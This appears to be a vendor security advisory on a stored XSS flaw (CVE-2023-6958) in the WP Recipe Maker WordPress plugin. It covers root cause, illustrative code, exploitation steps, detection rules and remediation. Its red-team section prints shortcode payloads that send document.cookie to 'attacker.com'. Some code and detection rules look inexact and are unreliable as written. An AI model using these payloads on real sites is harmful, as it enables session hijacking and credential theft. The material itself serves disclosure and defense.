CVE-2023-6958

Executive Summary

CVE-2023-6958 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Recipe Maker WordPress plugin, affecting all versions up to and including 9.1.0. The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within the plugin's shortcodes. An authenticated attacker with at least contributor-level permissions can inject arbitrary web scripts into pages. When a victim (including administrators) accesses the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for low-privileged users to inject persistent scripts that execute in the context of higher-privileged users makes this a significant risk for WordPress sites with multiple authors.

Deep Dive & Mechanics

The vulnerability exists in the shortcode parsing logic of the WP Recipe Maker plugin. The plugin registers shortcodes (e.g., [wprm-recipe], [wprm-recipe-image], etc.) that accept various attributes. The plugin fails to properly sanitize and escape these attributes before rendering them in the page HTML.

Root Cause:

• The plugin uses add_shortcode() to register handlers.
• In the handler functions, user-supplied attribute values are directly concatenated into HTML output without passing through esc_attr() or wp_kses().
• For example, an attribute like title or image_url might be echoed directly into a <div> or <img> tag.

Attack Flow:

1. An attacker with contributor-level access creates or edits a post/page.
2. The attacker inserts a shortcode with a malicious attribute, e.g.:

   [wprm-recipe title="<script>alert('XSS')</script>"]
   

3. The plugin renders the shortcode, outputting the unescaped script tag.
4. When any user (including admins) views the page, the script executes.

Why it's Stored XSS: The malicious payload is stored in the WordPress database (post content) and executed every time the page is loaded.

Vulnerable vs. Patched Code

Vulnerable Code (Example from version 9.1.0):

// In shortcode handler
function wprm_recipe_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => '',
        'image' => '',
    ), $atts);
    
    $output = '<div class="wprm-recipe">';
    $output .= '<h2>' . $atts['title'] . '</h2>'; // No escaping
    $output .= '<img src="' . $atts['image'] . '" />'; // No escaping
    $output .= '</div>';
    return $output;
}

Patched Code (Expected fix):

function wprm_recipe_shortcode($atts) {
    $atts = shortcode_atts(array(
        'title' => '',
        'image' => '',
    ), $atts);
    
    $output = '<div class="wprm-recipe">';
    $output .= '<h2>' . esc_html($atts['title']) . '</h2>'; // Escaped
    $output .= '<img src="' . esc_url($atts['image']) . '" />'; // Escaped
    $output .= '</div>';
    return $output;
}

The patch must apply esc_html() for text attributes and esc_url() for URL attributes, or use wp_kses() for more complex HTML.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with WP Recipe Maker plugin <= 9.1.0
• Contributor-level account credentials

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or edit an existing one.
3. Switch to the Text/Code editor.
4. Insert the following shortcode with a malicious payload:

   [wprm-recipe title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

5. Publish or save the post.
6. Wait for an administrator to view the post, or share the link.

Alternative Payload (Session Hijacking):

[wprm-recipe image="x" onerror="document.location='https://attacker.com/steal?cookie='+document.cookie"]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts containing shortcodes with suspicious attributes (e.g., <script>, onerror, onload).
• Review WordPress user activity logs for unusual shortcode usage by low-privileged users.

Hardening:

• Immediately update the plugin to a patched version (if available).
• If no patch exists, disable the plugin or restrict shortcode usage via remove_shortcode() in a custom plugin.
• Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.
• Enforce Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• File Indicators:
  • Presence of malicious shortcodes in wp_posts.post_content containing <script> tags or event handlers.
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains from the WordPress server (e.g., GET /steal?cookie=...).
• Log Indicators:
  • WordPress audit logs showing shortcode insertion by contributor-level users.
  • Web server logs with requests to pages containing suspicious shortcodes.

Detection Engineering

YARA Rule

rule wp_recipe_maker_xss {
    meta:
        description = "Detects malicious shortcode attributes in WP Recipe Maker"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-6958"
    strings:
        $shortcode = /\[wprm-recipe[^\]]*?[a-z]+=("|')[^"']*?<script[^>]*?>.*?<\/script>/i
        $event_handler = /\[wprm-recipe[^\]]*?on[a-z]+=("|')[^"']*?javascript:/i
    condition:
        any of them
}

Sigma Rule

title: WP Recipe Maker Stored XSS via Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via WP Recipe Maker shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - "[wprm-recipe"
            - "<script>"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of shortcodes with non-malicious attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-6958 WP Recipe Maker Stored XSS Attempt"; flow:to_server,established; content:"[wprm-recipe"; http_uri; pcre:"/\[wprm-recipe[^\]]*?(<script|onerror|onload|onclick)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Plugin: Check for a patched version of WP Recipe Maker. If version 9.1.1 or later is available, update immediately.
2. Disable Shortcodes: If no patch exists, add the following code to your theme's functions.php or a custom plugin to disable the vulnerable shortcodes:

   add_action('init', function() {
       remove_shortcode('wprm-recipe');
       remove_shortcode('wprm-recipe-image');
       // Add all other WP Recipe Maker shortcodes
   });
   

3. Restrict User Roles: Limit contributor-level users from using shortcodes by using a plugin like "User Role Editor" to remove the unfiltered_html capability.

Long-term Hardening:

• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers:

  Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
  

• Regularly audit user-generated content for malicious shortcodes.
• Keep all WordPress plugins and themes updated.

Valters IT
Securing Digital Frontiers